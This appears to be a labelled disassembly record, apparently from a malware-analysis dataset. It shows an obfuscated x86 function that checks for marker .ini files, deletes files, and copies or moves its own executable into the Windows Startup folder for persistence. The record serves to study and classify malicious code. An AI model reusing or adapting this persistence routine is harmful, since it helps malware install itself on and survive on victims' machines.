Function at 0x40efc0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x314
mov eax, dword [0x460640]
xor eax, esp
push ebx
mov ebx, dword [0x45eccc]
mov dword [esp + 0x314], eax
mov eax, dword [0x45ece4]
push ebp
push esi
cdq
push edi
mov esi, eax
push 0xd
mov edi, edx
mov eax, ebx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecd0]
add ebx, ecx
imul ebx, ebx, 0x3c2325f6
push 0x13
push 0x2c2da253
push edi
push esi
sub ebx, eax
call fcn.00432020
push 0x14
push 0x76aab896
push edi
push esi
add ebx, eax
call fcn.00432020
mov edx, dword [0x45ece0]
mov ecx, dword [0x45ecc8]
imul edx, edx, 0x42a7b17d
add ebx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x31b5823a
add ebx, edx
sub ebx, eax
mov eax, dword [0x45ecd8]
cdq
mov dword [esp + 0x14], edx
mov edx, dword [0x45ecd4]
mov dword [0x45ecdc], ebx
mov ebx, dword [str._r_____r____]
mov dword [esp + 0x10], eax
push 0x10
lea ebp, [edx + ecx]
mov eax, ebx
imul ebp, ebp, 0x68b4d785
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push 0xf
push 0x3c2325f6
push ecx
sub eax, ebp
push edx
mov ebp, eax
call fcn.00432020
mov ecx, dword [esp + 0x10]
push 0x13
sub ebp, eax
mov eax, dword [esp + 0x18]
push 0x2c2da253
push eax
push ecx
call fcn.00432020
push 0x14
push 0x76aab896
push edi
sub ebp, eax
push esi
call fcn.00432020
imul ebx, ebx, 0x2c2da253
sub ebp, eax
push 0
add ebp, ebx
push str.C:_WINDoWS_system32driverseTc_seRvicE1.ini
mov dword [0x45ece4], ebp
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
je 0x40f5db
push 0
push str.C:_WINDoWS_system32driverseTc_sErvIce2.ini
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
je 0x40f5db
mov eax, dword [0x45ecd0]
cdq
mov esi, eax
mov eax, dword [0x45ece4]
push 0xd
mov edi, edx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
push 0x13
push 0x392bae29
push edi
push esi
mov ebx, eax
call fcn.00432020
push 8
push 0x42a7b17d
push edi
mov ebp, eax
push esi
sub ebp, ebx
call fcn.00432020
push 3
push 0xce4a7dc6
push edi
push esi
add ebp, eax
call fcn.00432020
mov edx, dword [0x45ece0]
add ebp, eax
imul edx, edx, 0xafbbe1e
mov eax, dword [0x45ecc8]
imul eax, eax, 0x31b5823a
push 0x104
lea ecx, [esp + 0x224]
add ebp, edx
push ecx
sub ebp, eax
push 0
mov dword [0x45ecc8], ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x220]
push 0x5c
push edx
call fcn.00432ed0
mov edi, eax
push str..exe
lea eax, [esp + 0x22c]
push eax
lea ecx, [esp + 0x30]
push str._s_s
push ecx
inc edi
call fcn.004320ca
mov eax, dword [0x45ecdc]
add esp, 0x18
push 0x14
cdq
push 0x76aab896
push edx
push eax
call fcn.00432020
mov esi, dword [0x45ecd8]
mov ebx, eax
push 3
mov eax, esi
cdq
push 0xce4a7dc6
push edx
push eax
call fcn.00432020
mov ebp, eax
mov eax, dword [0x45ecd0]
push 0x10
cdq
push 0xe4325444
push edx
sub ebp, ebx
push eax
call fcn.00432020
imul esi, esi, 0x76aab896
mov edx, dword [0x45ecc8]
mov ecx, dword [0x45ece4]
imul edx, edx, 0x3dbf610d
sub ebp, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x471ee414
add ebp, edx
add ebp, esi
add ebp, eax
push 0
sub ebp, ecx
push 0x18
lea ecx, [esp + 0x128]
push ecx
add ebp, 0x31b5823a
push 0
mov dword [0x45ecd0], ebp
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x120]
lea ecx, [eax + 1]
jmp 0x40f260
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40f260
sub eax, ecx
push edi
lea edx, [esp + eax + 0x124]
push 0x44f20c
push edx
call fcn.004320ca
mov ebx, dword [0x45ece8]
mov ebp, dword [0x45ece0]
mov eax, ebx
cdq
add esp, 0xc
mov dword [esp + 0x10], eax
push 8
mov dword [esp + 0x18], edx
mov eax, ebp
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
mov edi, dword [0x45ecd4]
mov esi, eax
push 0x13
mov eax, edi
cdq
push 0x2c2da253
push edx
push eax
call fcn.00432020
mov ecx, dword [esp + 0x10]
push 0x14
sub esi, eax
mov eax, dword [esp + 0x18]
push 0x471ee414
push eax
push ecx
call fcn.00432020
mov edx, dword [esp + 0x14]
push 0x13
push 0x392bae29
add esi, eax
mov eax, dword [esp + 0x18]
push edx
push eax
call fcn.00432020
imul ebp, ebp, 0x68b4d785
mov edx, dword [0x45ecc8]
mov ecx, ebx
imul edx, edx, 0x2c2da253
imul ecx, ecx, 0x31b5823a
sub esi, eax
sub esi, ebp
add esi, ecx
add esi, edx
mov dword [0x45ecd8], esi
mov dword [esp + 0x18], 0
jmp 0x40f340
mov esi, dword [0x45ecd8]
mov edi, dword [0x45ecd4]
mov ebx, dword [0x45ece8]
jmp 0x40f340
mov eax, dword [0x45ecd0]
lea ebp, [ebx + eax]
mov eax, dword [0x45eccc]
imul ebp, ebp, 0x1bcdabbc
push 0xffffffffffffffef
cdq
push 0x1bcdabbc
push edx
push eax
call fcn.00432020
sub eax, ebp
mov ebp, eax
push 0xf
mov eax, ebx
cdq
push 0x3c2325f6
push edx
push eax
call fcn.00432020
imul esi, esi, 0x42a7b17d
imul edi, edi, 0x471ee414
mov ecx, dword [0x45ecdc]
imul ecx, ecx, 0x31b5823a
add ebp, eax
add ebp, esi
add ebp, ecx
lea edx, [esp + 0x20]
push 0
sub ebp, edi
push edx
mov dword [0x45ece0], ebp
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
je 0x40f3ce
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x18]
inc eax
cmp eax, 0x64
mov dword [esp + 0x18], eax
jl 0x40f322
mov eax, dword [0x45ecc8]
cdq
mov ebx, eax
mov eax, dword [str._r_____r____]
push 8
mov ebp, edx
cdq
push 0x42a7b17d
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecd8]
mov edi, dword [0x45ecd0]
lea esi, [ecx + edi]
imul esi, esi, 0x392bae29
push 0x13
push 0x2c2da253
push ebp
push ebx
sub esi, eax
call fcn.00432020
push 8
push 0x974b287b
push ebp
push ebx
add esi, eax
call fcn.00432020
imul edi, edi, 0x2c2da253
mov ebx, dword [0x45ece4]
mov edx, ebx
imul edx, edx, 0x31b5823a
add esi, eax
mov eax, dword [esp + 0x328]
add esi, edx
sub esi, edi
test eax, eax
mov dword [0x45ece8], esi
je 0x40f455
cmp eax, 2
jne 0x40f52c
push 4
lea eax, [esp + 0x124]
push eax
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40f520
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 0xf
mov ebx, edx
mov eax, esi
cdq
push 0x3c2325f6
push edx
push eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edx
call fcn.00432020
push 0x13
push 0x2c2da253
push ebx
push edi
mov ebp, eax
call fcn.00432020
push 0x14
push 0x76aab896
push ebx
sub eax, ebp
push edi
mov ebp, eax
call fcn.00432020
mov edx, dword [esp + 0x1c]
push 0x14
push 0x76aab896
sub ebp, eax
mov eax, dword [esp + 0x20]
push edx
push eax
call fcn.00432020
imul esi, esi, 0x392bae29
mov ecx, dword [0x45ecdc]
mov edx, dword [0x45ece8]
imul ecx, ecx, 0x3dbf610d
imul edx, edx, 0x471ee414
add ebp, eax
add ebp, ecx
push 6
lea eax, [esp + 0x124]
add ebp, edx
push eax
lea ecx, [esp + 0x28]
add ebp, esi
push ecx
mov dword [str._r_____r____], ebp
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov eax, 0xfffffffe
jmp 0x40f5de
mov ebx, dword [0x45ece4]
mov esi, dword [0x45ece8]
mov eax, dword [0x45ecd4]
cdq
mov edi, eax
mov eax, dword [0x45eccc]
push 8
mov ebp, edx
cdq
push 0x974b287b
push edx
push eax
mov dword [esp + 0x2c], ebp
call fcn.00432020
push 0x13
push 0x2c2da253
push ebp
push edi
mov dword [esp + 0x20], eax
call fcn.00432020
mov ecx, dword [esp + 0x10]
push 0xd
push 0x3dbf610d
mov edx, ebp
push edx
add ecx, eax
push edi
mov dword [esp + 0x20], ecx
call fcn.00432020
imul ebx, ebx, 0x31b5823a
imul esi, esi, 0x471ee414
mov ecx, dword [esp + 0x10]
add ecx, eax
mov eax, dword [0x45ece0]
imul eax, eax, 0x392bae29
sub ecx, ebx
sub ecx, esi
mov esi, dword [str._r_____r____]
add ecx, eax
mov eax, dword [esp + 0x328]
sub ecx, esi
sub ecx, 0x1bcdabbc
cmp eax, 1
mov dword [0x45eccc], ecx
je 0x40f5c2
cmp eax, 2
jne 0x40f5d7
push 0
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40f5de
or eax, 0xffffffff
mov ecx, dword [esp + 0x320]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00431e3d
add esp, 0x314
ret